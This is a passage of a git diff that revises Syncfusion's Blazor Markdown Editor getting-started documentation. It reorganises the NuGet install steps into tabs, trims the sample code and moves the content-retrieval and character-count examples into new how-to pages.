-control: RichTextEditor
+control: MarkdownEditor
 documentation: ug
 ---
 
@@ -85,12 +85,34 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the following NuGet packages in your project:
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -98,6 +120,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
@@ -150,181 +195,41 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveServer
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue"></SfRichTextEditor>
 
 @code {
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrIDqWvVJQriizU?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
-
-## Configure the Toolbar
-
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue">
-    <RichTextEditorToolbarSettings Items="@Tools" />
-</SfRichTextEditor>
-      
-@code {
-
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVotqWlVILIIHdX?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor with Toolbar](./images/blazor-markdownteditor-toolbar.png)" %}
-
-## Retrieve the formatted content
-
-To retrieve the contents of the Markdown editor, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px" Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-</SfDialog>
-
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Markdown Editor Value";
-    private string RteValue = @" In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-    await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Retrieve the number of characters
-
-To retrieve the maximum number of characters in the Markdown Editor's content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNrnjSBwgamUlaQo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](../getting-started/blazor-server-side-dotnet-cli)
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in Visual Studio](../getting-started/blazor-server-side-visual-studio)
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](../getting-started/blazor-server-side-dotnet-cli)
 
-* [How to insert Emoticons](https://blazor.syncfusion.com/demos/rich-text-editor/insert-emoticons?theme=bootstrap5)
-
 * [Blog posting using Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/usecase?theme=bootstrap5)
 
+* [How to insert special characters](https://blazor.syncfusion.com/demos/rich-text-editor/insert-special-characters?theme=bootstrap5)
+
 * [Accessibility in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/accessibility)
 
 * [Keyboard support in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/keyboard-support)
 
-* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
\ No newline at end of file
+* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
diff --git a/blazor/markdown-editor/getting-started.md b/blazor/markdown-editor/getting-started.md
index f01594114e..43496b1a93 100644
--- a/blazor/markdown-editor/getting-started.md
+++ b/blazor/markdown-editor/getting-started.md
@@ -87,12 +87,34 @@ cd BlazorApp
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the following NuGet packages in your project:
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -100,6 +122,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
@@ -157,164 +202,26 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor
 <SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue"></SfRichTextEditor>
 
 @code {
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrIDqWvVJQriizU?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
 
-## Configure the Toolbar
-
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue">
-    <RichTextEditorToolbarSettings Items="@Tools" />
-</SfRichTextEditor>
-      
-@code {
-
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVotqWlVILIIHdX?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor with Toolbar](./images/blazor-markdownteditor-toolbar.png)" %}
-
-## Retrieve the formatted content
-
-To retrieve the contents of the Markdown editor, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px" Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-</SfDialog>
-
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Markdown Editor Value";
-    private string RteValue = @" In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-    await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Retrieve the number of characters
-
-To retrieve the maximum number of characters in the Markdown Editor's content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNrnjSBwgamUlaQo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for webassembly](../getting-started/blazor-webassembly-app)
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in Visual Studio](../getting-started/blazor-server-side-visual-studio)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](../getting-started/blazor-server-side-dotnet-cli)
 
-* [How to insert Emoticons](https://blazor.syncfusion.com/demos/rich-text-editor/insert-emoticons?theme=bootstrap5)
+* [How to insert special characters](https://blazor.syncfusion.com/demos/rich-text-editor/insert-special-characters?theme=bootstrap5)
 
 * [Blog posting using Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/usecase?theme=bootstrap5)
 
diff --git a/blazor/markdown-editor/how-to/retrieve-characters.md b/blazor/markdown-editor/how-to/retrieve-characters.md
new file mode 100644
index 0000000000..862fd71013
--- /dev/null
+++ b/blazor/markdown-editor/how-to/retrieve-characters.md
@@ -0,0 +1,53 @@
+---
+layout: post
+title: How to Get Character Count in Blazor Markdown Editor | Syncfusion
+description: Checkout and learn about how to get character count of characters in Blazor Markdown Editor component of Syncfusion, and more details.
+platform: Blazor
+control: MarkdownEditor
+documentation: ug
+---
+
+# Retrieve the number of characters in the Blazor Markdown Editor
+
+To retrieve the maximum number of characters in the Markdown Editor content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Popups
+
+<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
+
+<br />
+<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
+          Width="400px" ShowCloseIcon="true">
+    <DialogButtons>
+        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
+    </DialogButtons>
+
+</SfDialog>
+<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
+
+@code {
+    SfRichTextEditor RteObj;
+    SfDialog DialogObj;
+    private string Content;
+    private bool Visibility = false;
+    private string Header = "Rich Text Editor's Value";
+    private string RteValue = @"In Rich Text Editor, you click the toolbar buttons to format the words and the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private async Task GetCharCount()
+    {
+        double charCount = await this.RteObj.GetCharCountAsync();
+        this.Content = charCount.ToString(); // Convert double to string
+        await this.DialogObj.ShowAsync();
+    }
+    private async Task DlgButtonClick(object arg)
+    {
+        await this.DialogObj.HideAsync();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
\ No newline at end of file
diff --git a/blazor/markdown-editor/how-to/retrieve-content.md b/blazor/markdown-editor/how-to/retrieve-content.md
new file mode 100644
index 0000000000..cc7912f6f6
--- /dev/null
+++ b/blazor/markdown-editor/how-to/retrieve-content.md
@@ -0,0 +1,51 @@
+---
+layout: post
+title: How to Retrieve the Content in Blazor Markdown Editor | Syncfusion
+description: Checkout and learn about how to retrieve the formatted content in Blazor Markdown Editor component of Syncfusion, and more details.
+platform: Blazor
+control: MarkdownEditor
+documentation: ug
+---
+
+# Retrieve the formatted content in the Blazor Markdown Editor
+
+To retrieve the contents of the Markdown editor, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of the Rich Text Editor.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Popups
+
+<SfButton @onclick="@GetValue">Get Value</SfButton>
+
+<br />
+<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px" Width="400px" ShowCloseIcon="true">
+    <DialogButtons>
+        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
+    </DialogButtons>
+</SfDialog>
+
+<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
+
+@code {
+    SfRichTextEditor RteObj;
+    SfDialog DialogObj;
+    private string Content;
+    private bool Visibility = false;
+    private string Header = "Markdown Editor Value";
